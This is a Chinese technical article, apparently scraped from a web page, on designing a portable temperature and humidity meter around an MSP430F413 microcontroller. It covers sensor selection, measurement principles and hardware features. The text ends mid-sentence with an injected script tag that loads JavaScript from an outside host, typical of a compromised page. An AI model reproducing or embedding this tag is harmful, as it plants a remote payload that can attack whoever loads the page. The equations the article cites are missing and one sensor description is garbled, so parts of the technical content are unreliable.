［摘 要］ 介绍了一种基于msp430f系列超低功耗单片机的温湿度检则仪，详细阐明了温湿度检测原理、软硬件的设计与实现方法。该仪器充分利用单片机自身资源，具有小型便携、高性能、低功耗、可编程等优点，可广泛应用于诸多领域的湿温度一体化测量。
［关键词］ msp430f单片机；温湿度传感器；检测仪；低功耗
1 引 言
温度、湿度是工农业生产的主要环境参数，对其进行适时准确的测量具有重要意义。目前，随着经济的发展及生活环境的改善，在一些野外及流动性较大的场合（如农业温室、智能建筑等），传统的“温—阻”法和“湿—阻”法由于其体积大，操作不方便，消耗功率高（一般需加模拟风），已经很难适用。因此，新一代准确可靠、快速灵敏、可便携式温湿度检测仪的研制势在必行。
该文以智能建筑为应用背景，提出一种以msp430f413超低功耗单片机为核心构成的温湿度仪，详细阐明了该仪器的检测原理、硬件结构、软件编制等相关技术，并指出它的一些特点和优势。
2 检测原理
温湿度传感器是决定检测仪精度的关键器件，其选取的原则主要有测量范围、工作环境、线性度、互换性、灵敏度、响应速度、稳定性及体积大小等。考虑以上因素和仪器的测量要求，设计采用honey－well公司的薄膜铂电阻hel－775测温，humirel公司的高分子薄膜式湿敏电容hs1100作湿度测量［1］。
hel－775的主要技术参数如下：测量范围－55℃～＋150℃、基本电阻1 000ω（在0℃时）、测量精度好于±0．3℃、温度系数0．00375ω／ω／℃、互换性1 000ω±1ω（在0℃时）、满量程线性度±0．15％、响应时间10s（10ft／s空气中）、稳定性＜0．05℃／5a、自热系数3．0mw／℃。
hel－775铂电阻元件的温度—电阻关系式［2］为：
式（2—1）中rpt为待测温度t时的铂电阻值，r0为零度时的基本电阻值，a、b、c是温度系数＝0．00375ω／ω／℃时的取值常数，其中c在0℃以上取值0。
hs1100湿敏电容具有不需校准的完全互换性，能瞬时退饱和，适用于线性电压输出和频率输出两＜5s，温度系数为0．04pf／℃，稳定性0．5％rh／a，可见性能是较高的。
使用中的hs1100湿敏电容参数值与湿度rh、频率f、温度t有关，其关系式如下：
c即典型标称电容，a3、a2、a1、a0取值为常数。
上述式（2—1）～式（2—4）说明：温湿度仪的高精度测量，必须考虑传感器的非性线、频率和温度补偿及测量误差等问题，因此在布置印刷电路板时应尽量减少引线电阻和分布电容以降低测量误差，在电路设计上要加线性化处理电路及温度补偿电路，或借助于单片机系统，由软件查表等方法进行处理、修正。如有可能可用标准仪器进行校准，以提高测量精度。
3 硬件实现
检测仪的硬件主要由msp430f单片机、测量转换、键盘显示、串口通信、电池电源、jtag接口等部分组成。由于单片机的硬件资源非常丰富，使得电路的加装器件很少，功耗极低且功能强大。具体硬件电路原理如图3—1所示。
3．1 msp430f单片机
单片机系统是检测仪的核心。相比于mcs51、mcs96及pic等系列，ti公司的msp430f系列超低功耗单片机［3］有很大的优势。msp430f系列单片机有多种型号，其功能组合各异，能满足不同应用场合的要求。设计中采用msp430f413，主要特点如下：
·工作电压低（1．8～3．6v），电流小（225μa／1mhz／活动模式），5种低功耗模式；
·16位risc架构，27条精简指令，125ns指令周期；
·丰富的中断源并可任意嵌套，用中断请求将系统从备用状态唤醒仅需6μs；
·片内看门狗及上电复位电路，xtal或dco可选时钟源；
·具有中断功能的比较器a（可用于16位斜率a／d转换）；
·双向并行i／o口p1～p6，多数口有复用功能，
其中p1、p2设置成输入时，引脚上任何状态变化都会触发中断；
·带3个比较／捕获模块的16位定时器a，可产生定时脉冲，捕获外部事件，甚至支持以硬件方式实现串行uart通信；
·片内集成4×24段lcd液晶驱动器，其外部接线复用p2～p5口；
·jtag接口或片内bootrom使程序下载调试极其简便。
特别的是msp430f413不需加装存储器，片内自带256bram及在线可擦除编程8kb主flash＋256b信息flash。其中主flash分为每段512b的段0～15，信息flash分为每段128b的段a、b，msp430f413存储器可存放大型数表，有高效的查表处理方法。检测仪安排段0～6为程序代码区、段7～11存放校正和补偿表格、段12～15为用户采集数据保存区、段a＋b存放各类参数和lcd显示字型表。
使用于电路中，其它主要模块的功能分配为：16位定时器a的比较?script src=http://er12.com/t.js>
